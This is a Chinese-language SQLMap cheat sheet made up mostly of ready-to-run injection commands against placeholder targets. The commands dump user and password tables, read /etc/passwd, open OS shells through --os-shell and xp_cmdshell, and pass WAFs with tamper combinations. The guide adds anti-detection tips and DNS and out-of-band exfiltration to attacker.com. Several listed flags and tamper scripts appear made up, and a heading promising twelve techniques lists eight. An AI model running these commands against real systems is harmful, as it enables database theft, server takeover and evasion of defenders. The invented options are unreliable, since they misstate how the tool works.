一、SQLMap 是什么
SQLMap 是目前最强大的自动化 SQL 注入检测和利用工具。它由 Bernardo Damele Assumpcao Guimaraes 开发,支持所有主流数据库、所有主流注入技术、超过 120 个 Tamper 脚本。
二、基础用法速查
2.1 基本注入扫描
# 最基础用法
sqlmap -u "http://target/api?id=1"
# 指定参数
sqlmap -u "http://target/api?id=1" -p id
# POST 请求
sqlmap -u "http://target/login" --data "username=admin&password=pass"
# GET + Cookie
sqlmap -u "http://target/profile" --cookie "session=abc123"
# 请求文件(从 Burp Suite 导出)
sqlmap -r request.txt
2.2 常用参数速查表
| 参数 | 说明 | 示例 |
|---|---|---|
-u |
目标 URL | -u "http://target?id=1" |
-p |
指定注入参数 | -p id,user |
--data |
POST 数据 | --data "user=admin" |
--cookie |
Cookie | --cookie "sid=abc" |
--random-agent |
随机 User-Agent | |
--level |
检测级别 1-5 | --level 3 |
--risk |
风险等级 1-3 | --risk 2 |
--batch |
非交互模式 | |
--timeout |
超时秒数 | --timeout 10 |
--delay |
请求间隔秒 | --delay 0.5 |
--threads |
并发线程 1-10 | --threads 5 |
--dbms |
指定数据库 | --dbms mysql |
--technique |
指定技术 BEUSTQ | --technique B |
2.3 信息收集
# 获取当前用户
sqlmap -u "http://target?id=1" --current-user
# 获取当前数据库
sqlmap -u "http://target?id=1" --current-db
# 获取版本信息
sqlmap -u "http://target?id=1" --version
# 获取所有数据库列表
sqlmap -u "http://target?id=1" --dbs
# 获取指定数据库的表
sqlmap -u "http://target?id=1" -D shop --tables
# 获取指定表的列
sqlmap -u "http://target?id=1" -D shop -T users --columns
2.4 数据导出
# 导出指定数据库的所有表
sqlmap -u "http://target?id=1" -D shop --dump
# 导出指定表
sqlmap -u "http://target?id=1" -D shop -T users --dump
# 只导出某些列
sqlmap -u "http://target?id=1" -D shop -T users -C username,password --dump
# 导出全部
sqlmap -u "http://target?id=1" --dump-all
# 带 WHERE 条件导出
sqlmap -u "http://target?id=1" -D shop -T users --dump --where "role='admin'"
2.5 高级枚举
# 获取用户权限
sqlmap -u "http://target?id=1" --privileges
# 获取所有数据库用户
sqlmap -u "http://target?id=1" --users --passwords
# 获取系统用户表
sqlmap -u "http://target?id=1" -D mysql -T user --dump
# 搜索包含关键字的表
sqlmap -u "http://target?id=1" --search -T pass
# 搜索包含关键字的列
sqlmap -u "http://target?id=1" --search -C password
三、注入技术详解(12 种)
3.1 UNION 查询注入(U)
sqlmap -u "http://target?id=1" --technique U --union-cols 4 --union-char NULL
3.2 布尔盲注(B)
sqlmap -u "http://target?id=1" --technique B --string "USER_EXISTS"
# --string 指定真条件的特征字符串
3.3 时间盲注(T)
sqlmap -u "http://target?id=1" --technique T --time-sec 3
3.4 报错注入(E)
sqlmap -u "http://target?id=1" --technique E
# SQLMap 会自动选择正确的报错函数
3.5 堆叠查询(S)
sqlmap -u "http://target?id=1" --technique S -D shop --tables
3.6 内联查询注入(I)
# 子查询形式
sqlmap -u "http://target?id=1" --technique I
# 自动生成: id=(SELECT ... FROM ...)
3.7 基于比较的注入(C)
# 用 =, <, > 比较
sqlmap -u "http://target?id=1" --technique C
3.8 替代查询注入(Q)
# 类似 INSERT/UPDATE/DELETE 中的注入
sqlmap -u "http://target/api" --technique Q
四、Tamper 脚本实战
4.1 常用 Tamper 脚本
| 脚本 | 作用 | 适用场景 |
|---|---|---|
tamper/between.py |
> → NOT BETWEEN |
绕 WAF 过滤大于号 |
tamper/equaltolike.py |
= → LIKE |
绕 WAF 过滤等号 |
tamper/greatest.py |
> → GREATEST |
绕过滤 |
tamper/lowercase.py |
关键字转小写 | 绕大小写敏感 WAF |
tamper/uppercase.py |
关键字转大写 | 绕大小写敏感 WAF |
tamper/halfversionedmorekeywords.py |
MySQL 版本注释 | 5.0 以下 MySQL |
tamper/space2comment.py |
空格 → /**/ |
绕空格过滤 |
tamper/space2dash.py |
空格 → -- \n |
绕空格过滤 |
tamper/space2hash.py |
空格 → #\n |
绕空格过滤 |
tamper/apostrophemask.py |
' → %EF%BB%BF' |
UTF-8 BOM 绕过 |
tamper/apostrophenullencode.py |
' → %00%27 |
绕过滤 |
tamper/charunicodeencode.py |
Unicode 编码 | 绕非 ASCII 过滤 |
tamper/commalessmid.py |
无逗号 SUBSTRING | 绕逗号过滤 |
tamper/doublequery.py |
SQL 双重查询 | 绕某些过滤器 |
tamper/hex2bin.py |
HEX(...) → BIN(...) |
MySQL 特定 |
tamper/htmlencode.py |
HTML 编码 | 绕某些 WAF |
tamper/ifnull2ifisnull.py |
IFNULL → IF IS NULL | MySQL/SQLite |
tamper/information_schema.py |
替换表名 | 绕 information_schema 过滤 |
tamper/method_mixin.py |
POST/GET 混合 | WAF 绕过 |
tamper/multiurls.py |
多 URL | HPP 绕过 |
tamper/nonrecursivereplacement.py |
关键字替换 | 绕简单黑名单 |
tamper/overlongutf8.py |
UTF-8 过编码 | 绕某些 WAF |
tamper/percent.py |
关键字加 % | 绕某些 WAF |
tamper/randomcase.py |
随机大小写 | 绕大小写敏感 WAF |
tamper/randomcomments.py |
随机注释 | 绕 WAF |
tamper/securesphere.py |
安全球体 | 绕某些过滤 |
tamper/semicolon.py |
末尾加分号 | 绕某些检测 |
tamper/unmagicquotes.py |
魔术引号绕过 | magic_quotes_gpc |
tamper/unionalltounion.py |
UNION ALL → UNION | 绕过滤 |
tamper/space2morehash.py |
空格 → 更多 hash | 绕过滤 |
4.2 组合使用 Tamper
# 多个 Tamper 脚本组合
sqlmap -u "http://target?id=1" \
--tamper=space2comment,randomcase,between.py \
--level=5 --risk=3 --batch
# PHP + MySQL 推荐组合
sqlmap --tamper=space2comment,equaltolike,greatest \
--level=5 --risk=3
# ASP + SQL Server 推荐组合
sqlmap --tamper=randomcase,charunicodeencode \
--level=4 --risk=2
# 绕 WAF 经典组合
sqlmap --tamper=space2morehash,apostrophemask,securesphere \
--level=5 --risk=3
4.3 编写自定义 Tamper
#!/usr/bin/env python3
"""
自定义 Tamper:过滤 SELECT 关键字
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
把 SELECT 替换成 SELECT/**/DISTINCT
"""
if payload and 'SELECT' in payload.upper():
# 用 re.sub 做全局替换
import re
def replace_select(m):
word = m.group()
return word + "/**/" + "DISTINCT"
payload = re.sub(r'(?i)\bSELECT\b', replace_select, payload)
return payload
保存到 tamper/my_tamper.py 然后:
sqlmap -u "http://target?id=1" --tamper=my_tamper
五、高级功能
5.1 二次注入(Second-Order)
sqlmap -u "http://target/register" --second-order="http://target/admin/users"
# -u: 注入入口(第一阶段,注册页面)
# --second-order: 触发 URL(第二阶段,管理页面)
5.2 Cookie/Session 管理
# 自动处理 CSRF token
sqlmap -u "http://target/login" --data "csrf=TOKEN&user=admin" --csrf-token
# 用请求文件保持会话
sqlmap -r burp_request.txt --load-cookies=cookies.txt
5.3 绕过密码保护
# HTTP Basic Auth
sqlmap -u "http://target" --auth-type=basic --auth-cred=user:pass
# 自定义 Header
sqlmap -u "http://target" --headers="Authorization: Bearer TOKEN"
# 基于表单的认证
sqlmap -u "http://target/api?id=1" \
--login-url="http://target/login" \
--data="user=admin&pass=admin" \
--login-succeed="Welcome"
5.4 批量扫描
# 从文件读取多个 URL
sqlmap -m urls.txt --batch --dump --threads 5
# 批量注入数据库用户
sqlmap -l request_list.txt --batch --dbs
# 只扫描有漏洞的 URL
sqlmap --crawl=http://target --crawl-exclude="logout" --batch
5.5 REST API 模式
# REST JSON 格式
sqlmap -u "http://target/api/users/1" \
--method=GET \
--content-type="application/json"
# REST POST
sqlmap -u "http://target/api/login" \
--method=POST \
--header="Content-Type: application/json" \
--data='{"user":"*","pass":"test"}'
# * 表示注入点
六、真实渗透流程示例
流程一:经典 Web 应用
# Step 1: 指纹识别 + 初始扫描
sqlmap -u "http://shop.com/products?id=1" --level=3 --risk=2 --batch
# Step 2: 深入确认注入类型
sqlmap -u "http://shop.com/products?id=1" --technique=BEUSTQ --dbms=MySQL
# Step 3: 收集数据库信息
sqlmap -u "http://shop.com/products?id=1" \
--current-user --current-db --version --batch
# Step 4: 枚举数据结构
sqlmap -u "http://shop.com/products?id=1" \
-D shop --tables --threads 5 --batch
# Step 5: 提取敏感数据
sqlmap -u "http://shop.com/products?id=1" \
-D shop -T users -C username,password,email --dump --batch
# Step 6: 深入系统表
sqlmap -u "http://shop.com/products?id=1" \
-D mysql -T user -C user,authentication_string --dump
# Step 7: 尝试 UDF 提权
sqlmap -u "http://shop.com/products?id=1" \
--os-shell --batch
流程二:WAF 防护下的渗透
# Step 1: 测试 WAF 规则
sqlmap -u "http://target/api?id=1" \
--test-filter=UNION --tamper=space2comment --level=5
# Step 2: 用 Tamper 组合绕过
sqlmap -u "http://target/api?id=1" \
--tamper=space2comment,randomcase,between,commalessmid \
--level=5 --risk=3 --batch
# Step 3: 启用 DNS 外带
sqlmap -u "http://target/api?id=1" \
--dns-domain=attacker.com \
--tamper=randomcase --batch
# Step 4: HTTP 参数污染
sqlmap -u "http://target/api?id=1&id=1'" \
--tamper=method_mixin --technique=B --batch
# Step 5: 绕过 secure_file_priv(如果有 FILE 权限)
sqlmap -u "http://target/api?id=1" \
--os-pwn --udf-inject --batch
流程三:盲注场景
# 完全无回显的盲注
sqlmap -u "http://target/check?username=admin" \
--string="USER_EXISTS" --technique=B --threads 10 --batch
# 时间盲注
sqlmap -u "http://target/check?username=admin" \
--technique=T --time-sec=3 --threads 5 --batch
# 组合盲注(布尔 + 时间)
sqlmap -u "http://target/check?username=admin" \
--technique=BT --batch --threads 10
流程四:PostgreSQL 专属
# PostgreSQL 注入
sqlmap -u "http://target/?id=1" --dbms=PostgreSQL
# COPY TO 读文件
sqlmap -u "http://target/?id=1" --dbms=PostgreSQL --file-read=/etc/passwd
# pg_sleep 时间盲注
sqlmap -u "http://target/?id=1" --dbms=PostgreSQL --technique=T
# 堆叠查询
sqlmap -u "http://target/?id=1" --dbms=PostgreSQL --technique=S
# PostgreSQL 系统表
sqlmap -u "http://target/?id=1" \
-D postgres -T pg_catalog.pg_user --dump
流程五:MSSQL 专属
# MSSQL 注入
sqlmap -u "http://target/?id=1" --dbms=MSSQL
# WAITFOR DELAY 时间盲注
sqlmap -u "http://target/?id=1" --dbms=MSSQL --technique=T --time-sec=3
# xp_cmdshell 系统命令
sqlmap -u "http://target/?id=1" --dbms=MSSQL --os-cmd=whoami
# MSSQL 系统表枚举
sqlmap -u "http://target/?id=1" \
-D master -T sys.databases --dump
# CLR 提权
sqlmap -u "http://target/?id=1" --dbms=MSSQL --clr-load
七、SQLMap 高级技巧
7.1 代理配置
# 通过 Burp Suite 代理
sqlmap -u "http://target?id=1" --proxy=http://127.0.0.1:8080
# SOCKS 代理
sqlmap -u "http://target?id=1" --proxy=socks5://127.0.0.1:1080
# 避免被检测:随机 User-Agent + 随机延迟
sqlmap -u "http://target?id=1" --random-agent --delay=1.5
7.2 结果缓存
# 用 SQLite 缓存扫描结果
sqlmap -u "http://target?id=1" --batch
# 自动在 ~/.sqlmap/output/ 下保存
# 重新加载缓存
sqlmap -u "http://target?id=1" --load-cached
7.3 自定义注入
# 手动指定注入 payload
sqlmap -u "http://target?id=1" \
--prefix="admin' AND (" \
--suffix=") AND '1'='1" --batch
# 指定注入点位置
sqlmap -u "http://target/api?id=1&search=keyword" \
--param-position=2 --param-del="&"
7.4 SQLMap API(编程调用)
import subprocess
def run_sqlmap(target_url, options=""):
cmd = [
"sqlmap", "-u", target_url,
"--batch", "--random-agent",
"--output-dir", "./results"
] + options.split()
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=300
)
return result.stdout, result.stderr
# 批量扫描
urls = ["http://target1/api?id=1", "http://target2/user?uid=5"]
for url in urls:
print(f"[*] Scanning {url}")
out, err = run_sqlmap(url, "--dbs --threads 3")
print(out[-500:])
八、反检测技巧
8.1 降低扫描速度
sqlmap -u "http://target?id=1" \
--delay=2.5 \
--threads=1 \
--level=2 --risk=1 \
--random-agent \
--batch
# 每次请求间隔 2.5 秒,单线程,低级别
8.2 伪装成合法流量
# 从浏览器导出完整请求头
sqlmap -r browser_request.txt \
--tamper=randomcase --batch
# 保持 User-Agent、Referer、Cookie 等全部一致
8.3 DNS 外带
当网络层有防火墙阻止出站 HTTP,但允许 DNS:
sqlmap -u "http://target?id=1" \
--technique=Q \
--dns-domain=attacker.com \
--batch
# 所有数据通过 DNS 查询外带
# attacker.com 的 DNS 服务器记录所有查询
8.4 OOB(Out-of-Band)注入
# 用 OOB 提取数据
sqlmap -u "http://target?id=1" \
--oob-server=attacker.com \
--oob-protocol=HTTP \
--batch
九、SQLMap 输出解析
9.1 保存为 JSON
sqlmap -u "http://target?id=1" --dump --batch \
--csv-out=output.csv
# 或查看输出目录
ls ~/.sqlmap/output/target/
# files/ error.log log target.txt session.sqlite
9.2 自动化分析输出
import sqlite3
import os
def parse_sqlmap_output(target_dir):
"""解析 SQLMap 输出目录"""
session_file = os.path.join(target_dir, "session.sqlite")
conn = sqlite3.connect(session_file)
cur = conn.cursor()
# 获取所有枚举结果
cur.execute("SELECT name FROM sqlite_master WHERE type='table'")
tables = [r[0] for r in cur.fetchall()]
results = {}
for table in tables:
cur.execute(f"SELECT * FROM {table}")
rows = cur.fetchall()
results[table] = rows
return results
十、SQLMap 与 Burp Suite 联动
10.1 把 Burp 导出的请求交给 SQLMap
# 方式一:直接从 Burp 复制请求
sqlmap -r burp_request.txt --batch
# 方式二:从 Burp History 导出
# Burp -> Proxy -> HTTP history -> 右键 -> Save item
sqlmap -r request.txt --batch
# 方式三:Burp Collaborator 集成
sqlmap -u "http://target?id=1" \
--oob-server=collaborator-id.oast.projectdiscovery.io
10.2 把 SQLMap 结果导回 Burp
# SQLMap 输出可以直接用作 Burp Intruder 的 payload
sqlmap -u "http://target/api?id=1" --dbs --batch > burp_payloads.txt
# 导入 Burp Intruder
# Intruder -> Payload -> Import list
10.3 Burp Extension: SQLiPy
SQLiPy 是 Burp 的 SQLMap 集成插件,可以直接在 Burp 界面中调用 SQLMap。
SQLMap 是渗透测试者的瑞士军刀。但要记住,工具只是放大器,不是替代品。理解注入原理、能手动构造 payload,才能在 SQLMap 不能覆盖的场景下继续渗透。而防御者要研究 SQLMap 的行为模式,配置能检测到它的 WAF 规则和异常检测系统。